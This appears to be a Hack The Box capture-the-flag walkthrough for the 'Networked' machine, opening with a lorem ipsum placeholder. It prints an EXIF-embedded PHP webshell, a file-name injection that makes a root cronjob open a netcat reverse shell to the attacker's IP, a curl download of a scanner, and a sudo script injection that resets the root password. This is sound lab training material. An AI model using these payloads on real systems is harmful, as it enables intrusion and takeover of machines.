Networked - Hack The Box

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hackthebox
Author

0xPThree

Published

October 20, 2019

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

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  1. nmap -Pn -sC -sV -O 10.10.10.146 Open ports: 22, 80, 443

  2. dirb http://10.10.10.146 Detects /backup/ download .tar and extract the .php-files

  3. Upload a file http://10.10.10.146/upload.php Upload.php shows;

    • the uploaded file will change name (ip_address.png ex. 10_10_14_28.png)
    • must be .jpg, .jpeg, .png or .gif
    • size must be smaller than 60000 byte
    • successful upload will be moved to /var/www/html/uploads/ (http://10.10.10.146/uploads/10_10_14_28.png)

    Lib.php shows:

    • mime type will be double checked to pervent mime-switching through burp

    Create a webshell using exiftoool: exiftool -DocumentName=“

    Player Three Has Entered The Game
    ';\$cmd = (\$_REQUEST['cmd']);system(\$cmd);echo '';} __halt_compiler();?>

    ” image.png Rename the file to .php.png to force php execution: mv image.png webshell.php.png

  4. Enum box through webshell http://10.10.10.146/uploads/10_10_14_15.php.png?cmd=whoami (apache) http://10.10.10.146/uploads/10_10_14_15.php.png?cmd=ls%20-al%20/home/guly/

    total 28 drwxr-xr-x. 2 guly guly 159 Jul 9 13:40 . drwxr-xr-x. 3 root root 18 Jul 2 13:27 .. lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null -rw-r–r–. 1 guly guly 18 Oct 30 2018 .bash_logout -rw-r–r–. 1 guly guly 193 Oct 30 2018 .bash_profile -rw-r–r–. 1 guly guly 231 Oct 30 2018 .bashrc -rw——- 1 guly guly 639 Jul 9 13:40 .viminfo -r–r–r–. 1 root root 782 Oct 30 2018 check_attack.php -rw-r–r– 1 root root 44 Oct 30 2018 crontab.guly -r——–. 1 guly guly 33 Oct 30 2018 user.txt

    We don’t have priv to read user.txt yet, need to escalate.

  5. Exploiting check_attack.php check_attack.php has a cronjob that will remove new files from /var/www/html/uploads, using the syntax “rm -f /var/www/html/uploads/”. Exploit this by creating reverse bash shell starting the name with ; (touch /var/www/html/uploads/“;nc -e /bin/sh 10.10.14.15 4488”) http://10.10.10.146/uploads/10_10_14_15.php.png?cmd=touch%20/var/www/html/uploads/%22;nc%20-e%20/bin/sh%2010.10.14.15%204488%22

  6. Start netcat and wait for the cronjob to trigger your reverse shell root@p3:/opt/htb/machines/networked# nc -lnvp 4488 listening on [any] 4488 … connect to [10.10.14.15] from (UNKNOWN) [10.10.10.146] 36284

    ls check_attack.php crontab.guly user.txt

    whoami guly

    cat user.txt 526****************

██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████

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  1. Upgrade rev shell (tty0) to a better one for ease of use and better information. python -c ‘import pty;pty.spawn(“/bin/bash”)’ ctrl + z stty raw -echo fg export TERM=xterm

  2. Download lse.sh to the victim and scan for vulns. wget is unable so we use curl instead root@p3:/opt/scanners/linux# python3 -m http.server 8080 Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) …

    [guly@networked shm]$ curl http://10.10.14.15:8080/lse.sh –output lse.sh % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 31737 100 31737 0 0 292k 0 –:–:– –:–:– –:–:– 295k [guly@networked shm]$ ls -al total 32 drwxrwxrwt 2 root root 60 Sep 20 14:54 . drwxr-xr-x 20 root root 3200 Sep 19 21:01 .. -rw-rw-r– 1 guly guly 31737 Sep 20 14:54 lse.sh

  3. Give +x and scan the system chmod +x lse.sh ./lse.sh -l1

  4. The script changename.sh is executable by gully and has root privs. User guly may run the following commands on networked: (root) NOPASSWD: /usr/local/sbin/changename.sh

  5. Looking in the script, we can see that it only accepts input according to the regexp: regexp=“1+$”

    Looking at the regexp we are only allowed to input a-z, 0-9, “-” and ” “. Use https://regex101.com/ to test acceptable inputs

  6. Run the script and change the root password. [guly@networked sbin]$ sudo ./changename.sh interface NAME: sudo passwd interface PROXY_METHOD: asd interface BROWSER_ONLY: asd interface BOOTPROTO: asd Changing password for user root. New password: Retype new password: passwd: all authentication tokens updated successfully. Changing password for user root.

    [guly@networked sbin]$ su Password:

    [root@networked sbin]# whoami root

    [root@networked sbin]# cat /root/root.txt 0a8*****************************

Footnotes

  1. a-zA-Z0-9_ /-↩︎